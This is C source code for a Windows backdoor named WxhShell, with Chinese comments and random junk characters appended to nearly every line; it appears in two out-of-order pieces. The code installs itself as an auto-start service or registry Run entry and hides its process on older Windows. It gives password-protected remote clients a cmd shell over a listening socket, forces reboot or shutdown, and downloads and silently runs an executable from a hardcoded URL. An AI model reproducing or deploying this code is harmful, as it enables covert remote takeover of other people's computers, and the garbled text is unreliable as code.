    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'H!XUtFs"  
    else { FgI3   
    closesocket(wsh); l+0P  
    ExitThread(0); 3mni>*q7d  
    } y3ikWnx  
    break; 59-c<I/}f  
    } ,2)6s\]/b  
  // 获取shell !VK|u8i  
  case 's': { )_NO4`ejs/  
    CmdShell(wsh); cS+>J@L  
    closesocket(wsh); Vq2$'lY  
    ExitThread(0); ;=UsAB]  
    break; &-=5Xc+Z  
  } u-C)v*#L  
  // 退出 i@CxI<1'  
  case 'x': { L.WljNo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 39jG8zr=Z[  
    CloseIt(wsh); -{+}@?  
    break; l@:0e]8|o  
    } V1JIht>Opo  
  // 离开 .{KVMc  
  case 'q': { Lh<).<S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [1KuzCcK}  
    closesocket(wsh); bu"!jHPB  
    WSACleanup(); 0|b>I!_"g  
    exit(1); ~v"L!=~G;a  
    break; 1i ] ^{;]  
        } ZAf7Tz\U  
  } fxIf|9Qi`  
  } sN wI 0o  
snikn&  
  // 提示信息  7[wieYj{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3[f): u3"  
} <^uBoKB/f  
  } bs'n+:X `  
]0\MmAJRn  
  return; VD\=`r)nT  
} t()c=8qF|u  
r"R#@V\'1b  
// shell模块句柄 cFWc<55aX6  
int CmdShell(SOCKET sock) FsryEHz  
{ n-OL0$Xu  
STARTUPINFO si; "g#i'"qnW  
ZeroMemory(&si,sizeof(si)); k;L6R!V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D#)b+7N-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E+JqWR5  
PROCESS_INFORMATION ProcessInfo; :/Qq@]O>  
char cmdline[]="cmd"; ?pZOeqqu$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kSh( u  
  return 0; <"|,"hA  
} GM<-&s!Uj  
Wxe0IXq3Nn  
// 自身启动模式 e 3TI|e_  
int StartFromService(void) &8 x-o,  
{ BVO<e \>3  
typedef struct K96<M);:g  
{ (!N|Kl  
  DWORD ExitStatus; JO< wU  
  DWORD PebBaseAddress; ?I@W:#>o  
  DWORD AffinityMask; ""|Qtubv  
  DWORD BasePriority; >e"#'K0?\  
  ULONG UniqueProcessId; F@:'J\I}:  
  ULONG InheritedFromUniqueProcessId; }Z,x~G  
}   PROCESS_BASIC_INFORMATION; xF44M]i  
U`m54f@U  
PROCNTQSIP NtQueryInformationProcess; {Dmjm{   
C73 kJa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :4%k9BGAj"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7Rt9od< )!  
>oe]$r  
  HANDLE             hProcess; &pp|U}  
  PROCESS_BASIC_INFORMATION pbi; :[!j?)%>  
]P?vdgEM&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C 6AUNRpl  
  if(NULL == hInst ) return 0; Z/;aT -N  
Nu7 !8[?r*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w*JGUk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $ DSZO!pB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %1$,Vs<RH  
> "=>3  
  if (!NtQueryInformationProcess) return 0; Oo% d]8W  
3kMf!VL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cpJ|w3x B  
  if(!hProcess) return 0; 7x4PaX(  
t1y4 7fX6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J S_]FsxD  
#?9;uy<j.q  
  CloseHandle(hProcess); *ppffz  
xX4N4vb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "!%l/_p?  
if(hProcess==NULL) return 0; nQ,HMXj  
hFl^\$Re  
HMODULE hMod; 9j9TPyC/2  
char procName[255]; MFAH%Z$  
unsigned long cbNeeded; n#OB%@]<V  
s+?zL~t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pD#rnp>WWt  
[mGLcg6Fw  
  CloseHandle(hProcess); M1iS(x  
)f<z% :I+Z  
if(strstr(procName,"services")) return 1; // 以服务启动 3;9^  
gz9j&W.  
  return 0; // 注册表启动 ^uc=f2=>,  
} Ge@{_  
`/+>a8  
// 主模块 \*?~Yj #  
int StartWxhshell(LPSTR lpCmdLine) V1zmGy  
{ Gb6'n$g  
  SOCKET wsl; _N cR)2  
BOOL val=TRUE; u&vf+6=9Dd  
  int port=0; Hvi49c]]  
  struct sockaddr_in door; 2l'6.  
jB2[(  
  if(wscfg.ws_autoins) Install(); v{4$D~I  
 K5h  
port=atoi(lpCmdLine); t =iIY`Md%  
H%td hu\e  
if(port<=0) port=wscfg.ws_port; (%6P0*  
g$-PR37(  
  WSADATA data; 9.-S(ZO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rs[T=CQ  
;[DU%f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zC!t;*8a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `U_)98  
  door.sin_family = AF_INET; 6d}lw6L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /{_:{G!Q0  
  door.sin_port = htons(port); 9TC,!0U{_.  
q3!bky\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @S;'@VC  
closesocket(wsl); /,yd+wcW#  
return 1; !e<^? r4  
} K\r8g=U  
+ &Eqk  
  if(listen(wsl,2) == INVALID_SOCKET) { YD6'#(  
closesocket(wsl); (w3YvG.  
return 1; X+9>A.92  
} ZLejcYS  
  Wxhshell(wsl); ouQ T  
  WSACleanup(); k4;7<j$ir  
4+8@`f>s  
return 0; g3y~bf  
{;1\+ f  
} H7n>Vx:L-  
8GUX{K  
// 以NT服务方式启动 C1)!f j=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k y7Gwc  
{ 1))8 A@,  
DWORD   status = 0; oG\Vxg*  
  DWORD   specificError = 0xfffffff; 2[W&s&  
a;+9mDXx:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8nV+e~-w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "!^"[mX4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CA~-rv  
  serviceStatus.dwWin32ExitCode     = 0; q<1 ~ vA9  
  serviceStatus.dwServiceSpecificExitCode = 0; Y:[u1~a  
  serviceStatus.dwCheckPoint       = 0; rEW b"  
  serviceStatus.dwWaitHint       = 0; #X1ND  
<bWG!ZG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TvbE2Q;/UL  
  if (hServiceStatusHandle==0) return; /J;Kn]5e  
ZFL~;_r  
status = GetLastError(); )y$(AJx$  
  if (status!=NO_ERROR) 46h<,na?,  
{  qX{+oy5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F JyT+  
    serviceStatus.dwCheckPoint       = 0; m{HS0l'  
    serviceStatus.dwWaitHint       = 0; U Cjld  
    serviceStatus.dwWin32ExitCode     = status; n:!_  
    serviceStatus.dwServiceSpecificExitCode = specificError; `|q(h Ow2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~]2K ^bh8&  
    return; 5rik7a)Z]  
  } kxv1Hn"`{E  
YaqJ,"GlT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7kE n \  
  serviceStatus.dwCheckPoint       = 0;  \4fQMG  
  serviceStatus.dwWaitHint       = 0; c^W)07-X5y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a:w#s}bL  
} =aW9L)8D  
%.|@]!C  
// 处理NT服务事件,比如:启动、停止 Km$\:Xo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _t^&Ah*  
{ Dlvz )  
switch(fdwControl) NzvXN1_%  
{ |+9&rAg  
case SERVICE_CONTROL_STOP: dy[X3jQB  
  serviceStatus.dwWin32ExitCode = 0; YT,{E,U;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d2$IH#~9B  
  serviceStatus.dwCheckPoint   = 0; D&y7-/  
  serviceStatus.dwWaitHint     = 0; K}Qa~_  
  { 3JR+O <3D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S f# R0SA  
  } <a3 WKw  
  return; t?FBG4  
case SERVICE_CONTROL_PAUSE: R:qW;n%AF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H Pz+Dm  
  break; (E1~H0^  
case SERVICE_CONTROL_CONTINUE: >m\(6x8RE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m8[j #=h  
  break; v]UwJz3<  
case SERVICE_CONTROL_INTERROGATE: %xLh Z\  
  break; xAm6BB c  
}; Ny/MJ#Lq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *vMn$,^0h9  
} )^hbsMhO  
?S=mybp  
// 标准应用程序主函数 (TM,V!G+U~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C0Z=~Q%  
{ [:*)XeRK  
_+MJ%'>S  
// 获取操作系统版本 GM<9p_ B  
OsIsNt=GetOsVer(); I> $&-i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OY({.uVdX  
hDGF7  
  // 从命令行安装 >H ,*H;6  
  if(strpbrk(lpCmdLine,"iI")) Install(); owv[M6lbD  
H\[W/"  
  // 下载执行文件 wMN]~|z>  
if(wscfg.ws_downexe) { |_U= z;Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >9J:Uo1z  
  WinExec(wscfg.ws_filenam,SW_HIDE); Tlr v={  
} l'E6CL}@[  
.=; ;  
if(!OsIsNt) { `Pnoxm'  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~g t@P  
HideProc(); K*dCc}:`  
StartWxhshell(lpCmdLine); @C aG9]  
} A3*!"3nU  
else  %;!.n{X  
  if(StartFromService()) \_fv7Fdp{  
  // 以服务方式启动 |y!A&d=xYn  
  StartServiceCtrlDispatcher(DispatchTable); V=3b&TkE  
else DtnEi4h,  
  // 普通方式启动 ],].zlN  
  StartWxhshell(lpCmdLine); \'j|BJ~L f  
% & bY]w  
return 0; gBD]}vo-  
} *X}`PF   
BJ(M2|VH  
OZ;*JR:  
=2x^nW  
=========================================== w4Z'K&d=  
f%hEnZv  
poFg 1  
i@J ;G`  
 9gZ$   
d'sZxU  
" kcx Ad   
+"VP-s0  
#include <stdio.h> )`D:F>p*  
#include <string.h> 2J;g{95z  
#include <windows.h> SgOheN-  
#include <winsock2.h> *8XEYZa  
#include <winsvc.h> @KAI4LP  
#include <urlmon.h> #.[k=dj   
3;Fhg!Z O  
#pragma comment (lib, "Ws2_32.lib") B>.qd  
#pragma comment (lib, "urlmon.lib") TS5Q1+hWHV  
3R V R  
#define MAX_USER   100 // 最大客户端连接数 &+R?_Ooibk  
#define BUF_SOCK   200 // sock buffer ehY5!D1Q  
#define KEY_BUFF   255 // 输入 buffer LOJAWR9$^U  
[ikOb8 G#  
#define REBOOT     0   // 重启 xId.GWY1  
#define SHUTDOWN   1   // 关机 KK &?gTa  
A5w6]:f2  
#define DEF_PORT   5000 // 监听端口 p()xz  
bN@ l?w  
#define REG_LEN     16   // 注册表键长度 NaCy@  
#define SVC_LEN     80   // NT服务名长度 `9.r`&T6K  
H>@+om  
// 从dll定义API nFs(?Rv*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _J[P[(ab  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;A!BVq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q NVa?'0"Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h)nG)|c  
S21,VpW\  
// wxhshell配置信息 ^Zp>G{QL{  
struct WSCFG { dcT80sOC  
  int ws_port;         // 监听端口 j <RrLn_  
  char ws_passstr[REG_LEN]; // 口令 _<2E"PrT   
  int ws_autoins;       // 安装标记, 1=yes 0=no 0qT%!ku&  
  char ws_regname[REG_LEN]; // 注册表键名 ?G&ikxl  
  char ws_svcname[REG_LEN]; // 服务名 29q _BR *:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~F7gP{r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iG?[<1~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C"enpc_C/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3oG,E;(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WMP,\=6k0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tklH@'q  
^zgo#J 5O  
}; /H+a0`/  
'A[dCc8O  
// default Wxhshell configuration BFW&2  
struct WSCFG wscfg={DEF_PORT, GvlS%  
    "xuhuanlingzhe", OK g qT!  
    1, 76` .Y  
    "Wxhshell", ,,|^%Ct']  
    "Wxhshell", ei5~&  
            "WxhShell Service", .3!1`L3  
    "Wrsky Windows CmdShell Service", @ur+;IK$  
    "Please Input Your Password: ", T9q-,w/j;  
  1, aFIw=c(nP  
  "http://www.wrsky.com/wxhshell.exe", W`*r>`krVJ  
  "Wxhshell.exe" &]-DqK7  
    }; *4_Bd=5(U  
s(roJbJ_;  
// 消息定义模块 S`?!G&[!>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9Lfv^V0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5nVt[Puw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '$QB$2~V  
char *msg_ws_ext="\n\rExit."; G9@0@2aY8  
char *msg_ws_end="\n\rQuit."; *k>n<p3dd  
char *msg_ws_boot="\n\rReboot..."; Q)z8PQl O  
char *msg_ws_poff="\n\rShutdown..."; BDZ?Ez \Sg  
char *msg_ws_down="\n\rSave to "; xi; `ecqS<  
RY*U"G0#w  
char *msg_ws_err="\n\rErr!"; 5i{j' {_(8  
char *msg_ws_ok="\n\rOK!"; EDs\,f}  
,3 u}x,  
char ExeFile[MAX_PATH]; O%HHYV%[m  
int nUser = 0; ,wdD8ZT'Ip  
HANDLE handles[MAX_USER]; hwNf~3eJk  
int OsIsNt; h3@v+Z<}  
t<?,F  
SERVICE_STATUS       serviceStatus; Y:)e(c"A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B^jc3 VsR  
t@+}8^ M  
// 函数声明 m<2M4u   
int Install(void); BJo*'US-Q  
int Uninstall(void); 9]o-O]7/  
int DownloadFile(char *sURL, SOCKET wsh); W'u>#  
int Boot(int flag); -;k+GrLr^  
void HideProc(void); ib791  
int GetOsVer(void); ;mKb]  
int Wxhshell(SOCKET wsl); &XUiKnNW  
void TalkWithClient(void *cs); tIS<U(N ;  
int CmdShell(SOCKET sock); >~+ELVB&  
int StartFromService(void); L\z~uo3:  
int StartWxhshell(LPSTR lpCmdLine); K )k<Rh[<  
VTHH&$ZNq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s=/v';5J2!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n>U5R_T  
2jCfT>`3  
// 数据结构和表定义 KdbHyg<4  
SERVICE_TABLE_ENTRY DispatchTable[] = H~z`]5CN  
{ PRE|+=w$  
{wscfg.ws_svcname, NTServiceMain}, VBcPu  
{NULL, NULL} QUQ'3  
}; `,*5wBC  
1D!<'`)AY  
// 自我安装 # c^z&0B}  
int Install(void) LC!bIm5'  
{ }|5Pr(I  
  char svExeFile[MAX_PATH]; Fh9h,' V"  
  HKEY key; 4#hSJ(~7S  
  strcpy(svExeFile,ExeFile); cDkf qcC  
dzrio-QU~  
// 如果是win9x系统,修改注册表设为自启动 r^ ZEImjc  
if(!OsIsNt) { `&6dnSC},P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K8Y=S12Ti  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4)o  
  RegCloseKey(key); $\y'I Q%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gjzuG< 7m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i,9)\1R  
  RegCloseKey(key); 7EO_5/cY  
  return 0; cq4I pe  
    } WVvvI9  
  } (7=9++uU  
} %vi<Ase g  
else { As<bL:>dE  
'K,:j 388  
// 如果是NT以上系统,安装为系统服务 UU0,!?o4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8E]F$.6U  
if (schSCManager!=0) RhLVg~x  
{ L5:$U>H(  
  SC_HANDLE schService = CreateService Alw3\_X  
  ( %z 4Nl$\  
  schSCManager, c=.(!qdH  
  wscfg.ws_svcname, l0A&9g*l2  
  wscfg.ws_svcdisp, QGmn#]w\\  
  SERVICE_ALL_ACCESS, p0<\G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <B8!.|19  
  SERVICE_AUTO_START, 0b(N^$js'  
  SERVICE_ERROR_NORMAL, K:30_l<  
  svExeFile, OX\F~+  
  NULL, O/(xj2~$ J  
  NULL, vTw>JNVI  
  NULL, P3 ^Y"Pv?  
  NULL, w}cPs{Vi"  
  NULL j]/RC(;?  
  ); "o}+Ciul  
  if (schService!=0) =P #]  
  { 3 xp)a%=7  
  CloseServiceHandle(schService); pr UM-u8  
  CloseServiceHandle(schSCManager);  t[ C/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xAMW-eF?d  
  strcat(svExeFile,wscfg.ws_svcname); r<Kx0`y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3HY9\'t6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O55 xS+3^k  
  RegCloseKey(key); !5uGd`^I  
  return 0; i9][N5\$  
    } t"/q]G5  
  } l$bu%SZ  
  CloseServiceHandle(schSCManager); G,Azm }+  
} K?$^@ N  
} * *G9H  
.gOL1`b*  
return 1; hv_XP,1K  
} aM0f/"-_  
>_ 2dvg=U  
// 自我卸载 /HRFAqep  
int Uninstall(void) n$,*|_$#  
{ zi*R`;_`,  
  HKEY key; naznayy  
_Qi&J.U>  
if(!OsIsNt) { 9.B KI/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oc0G |  
  RegDeleteValue(key,wscfg.ws_regname); Q9G;V]./  
  RegCloseKey(key); xLH)P<^`C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y,t={HiclX  
  RegDeleteValue(key,wscfg.ws_regname); tc{s B\&-  
  RegCloseKey(key); ` 3K)GA  
  return 0; EV@X*| w  
  } JKGe"  
} Jd^,]  
} GKc`xIQ  
else { Qtv&ijFC  
i5?q,_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h Pa_VrH  
if (schSCManager!=0) I- >Ss},U  
{ qfRH5)k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5 -RsnF  
  if (schService!=0) 6h,(wo3Y  
  { RMWHN:9  
  if(DeleteService(schService)!=0) {   =`s!;  
  CloseServiceHandle(schService); ?\s+EE&-  
  CloseServiceHandle(schSCManager); /9p wZ%:<  
  return 0; !fR3 (=oN  
  } +8d1|cB"  
  CloseServiceHandle(schService); vbe|hO""  
  } 6?~"V  
  CloseServiceHandle(schSCManager); G@jZ)2  
} :~N-.#  
} ly_HWuFJ3  
TXvI4"&  
return 1; K\6u9BYG  
} !sW(wAy?o  
s %\-E9 T  
// 从指定url下载文件 [o+q>|q  
int DownloadFile(char *sURL, SOCKET wsh) y0.8A-2:  
{ .Cl:eu,]  
  HRESULT hr; !1{e|p 7  
char seps[]= "/"; iq( E'`d  
char *token; EkNunCls  
char *file; @? QoF#D  
char myURL[MAX_PATH]; jeH~<t{  
char myFILE[MAX_PATH]; .Blf5b  
n'kG] Q  
strcpy(myURL,sURL); =Bhe'.]QSx  
  token=strtok(myURL,seps); fd<:_f]v  
  while(token!=NULL) 'yG4 LF  
  { o{q{!7DH@  
    file=token; .ndCfdy~  
  token=strtok(NULL,seps); 22M1j5  
  } aYS!xh206  
2:7zG "$  
GetCurrentDirectory(MAX_PATH,myFILE); n+q!l&&  
strcat(myFILE, "\\"); "x*e gI  
strcat(myFILE, file); PV\+P6aIb  
  send(wsh,myFILE,strlen(myFILE),0); ^^as'Dk  
send(wsh,"...",3,0); }Nm#q@o$P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jiS_G%G  
  if(hr==S_OK) 6vNrBB  
return 0; %Iv,@}kvT+  
else S:oi< F  
return 1; :AF =<X*5  
;=; 9tX  
} {rH@gz|@i  
:LRYYw  
// 系统电源模块 LzXmb 7A  
int Boot(int flag) %9N7Ln|%  
{ i}mVQ\j5  
  HANDLE hToken; RcM/!,B  
  TOKEN_PRIVILEGES tkp; 2Mvrey)  
:f}9($  
  if(OsIsNt) { ,<tX%n`v=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n; +LH9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hmd] FC,_  
    tkp.PrivilegeCount = 1; =Og)q$AL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B43HNs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _%!c+f7  
if(flag==REBOOT) { * @v)d[z_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QWSTR\!  
  return 0; .C( eh   
} UT=tT )4b  
else { F{Jw ^\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N OiN^::m  
  return 0; ,p2s:&"  
} !K}~/9Z=m  
  } (ehK?6[  
  else { `W:%mJd9  
if(flag==REBOOT) { ?:8ido#-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f'-i o<.  
  return 0; aM2l2  
} ;q:zT\A  
else { $M lW4&a|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ax?y  
  return 0; O%(fx!c`  
} _w/EP  
} D!NQ~'.a=2  
mdmvT~`  
return 1; !tMuuK?IL=  
} l(u.I2^o  
*`\Pr  
// win9x进程隐藏模块 XY)&}u.  
void HideProc(void) K/b_22]CC  
{ ;"fDUY|  
t.&Od;\[/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !QHFg-=7  
  if ( hKernel != NULL ) 9XyYHi  
  { 8U>B~9:JO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pP?MWe Eg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cc&axc7I  
    FreeLibrary(hKernel); D@|W<i-  
  } jR2 2t`4  
^ZhG>L*  
return;  fA<[f  
} ') gi%  
o/6-3QUak  
// 获取操作系统版本 V\6[}J  
int GetOsVer(void) ^G.Xc\^w:  
{ >.'*) @vQi  
  OSVERSIONINFO winfo; Nz+9 49X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rI>aAW'  
  GetVersionEx(&winfo); 8lb%eb]U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SAK!z!t  
  return 1; L%K\C  
  else v<OJ69J  
  return 0; sz {e''q  
} (TwnkXrR,  
"@d[h,TM  
// 客户端句柄模块 wsN?[=l{s  
int Wxhshell(SOCKET wsl) /VzI'^  
{ J(%0z:exs  
  SOCKET wsh; \"^w'ng  
  struct sockaddr_in client; a1.Ptf eW|  
  DWORD myID; _$f9]bab  
]*FVz$>XM  
  while(nUser<MAX_USER) vj\dA2!~  
{ U{z9>  
  int nSize=sizeof(client); *@Y3oh}S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6s\Kt3=  
  if(wsh==INVALID_SOCKET) return 1; .k9{Yv0  
7J|VD#DE$Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0-|byAh  
if(handles[nUser]==0) !+4cqO  
  closesocket(wsh); 0 79'(%  
else H(2]7dRS%  
  nUser++; Xn,v]$M!  
  } \X&H;xnC5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6290ZNvr  
7#U^Dx\yh  
  return 0; mG`e3X6@-  
} T[4<R 5}  
)h|gwERj  
// 关闭 socket {]_r W/  
void CloseIt(SOCKET wsh) N:tY":Hi  
{ X 9%'|(tL  
closesocket(wsh); ;D s46M-s  
nUser--; x{,q]u /  
ExitThread(0); m-DsY  
} :l&V]}:7*  
^#1.l=s  
// 客户端请求句柄 vab@-=%k  
void TalkWithClient(void *cs) vR=6pl$|~~  
{ J9Ou+6u(  
9,_mS{+B  
  SOCKET wsh=(SOCKET)cs; ] GTAq  
  char pwd[SVC_LEN]; $:j G-r  
  char cmd[KEY_BUFF]; EV^~eTz  
char chr[1]; -gas?^`  
int i,j; .E&z$N  
YJ/zU52JK~  
  while (nUser < MAX_USER) { oY|,GvCnK  
f7~9|w&  
if(wscfg.ws_passstr) { s^|.Zr;,>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H_Kj7(=&>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?wF'<kEH  
  //ZeroMemory(pwd,KEY_BUFF); |),'9  
      i=0; +sx 8t  
  while(i<SVC_LEN) { J}@z_^|"mJ  
VY"9?2?/  
  // 设置超时 Ra/Ukv_v  
  fd_set FdRead; RJH,  
  struct timeval TimeOut; .8uz 6~  
  FD_ZERO(&FdRead); M$d%p6Cv  
  FD_SET(wsh,&FdRead); G4;3cT3'  
  TimeOut.tv_sec=8; aKlUX  
  TimeOut.tv_usec=0; ;?~$h-9)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !!V#v9{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #gaQaUjR  
G0{H5_h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {}m PEd b  
  pwd=chr[0]; f\1A! Yp  
  if(chr[0]==0xd || chr[0]==0xa) { e)IpPTj#  
  pwd=0; ym/fFm6h  
  break; Q33"u/-v  
  } %#Z/2<_  
  i++; lR`'e0Lq  
    } qdG~!h7j  
h:)Ci!D;  
  // 如果是非法用户,关闭 socket 7GS V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G #T<`>T  
} B_l{<  
m6yIR6H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8W+gl=C~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JwRF(1_sM  
eo!zW  
while(1) { jWO/ xX  
GK}'R=   
  ZeroMemory(cmd,KEY_BUFF); !W'Ui 9uX  
Hiv!BV|  
      // 自动支持客户端 telnet标准   wpt='(  
  j=0; %?hsoj&k  
  while(j<KEY_BUFF) { m8JR@!t7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T y@=yA17  
  cmd[j]=chr[0]; ,j ',x\  
  if(chr[0]==0xa || chr[0]==0xd) { ).HDru-2  
  cmd[j]=0; *tX{MSYW  
  break; 9Sq%s&  
  } 5P h X"7  
  j++; e{9jn>\,a  
    } j! NO|&k  
-/dEsgO  
  // 下载文件 C4#rA.nF|  
  if(strstr(cmd,"http://")) {  oM1 6C|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (zYy }g#n  
  if(DownloadFile(cmd,wsh)) ]:$ O{y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L~/qGDXC?  
  else qxMnp}O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !epgTN  
  } +P`(Rf"luu  
  else { -g/hAxb5  
/_-;zL  
    switch(cmd[0]) { 'QH1=$Su  
  b2&V  
  // 帮助 h2;z 4  
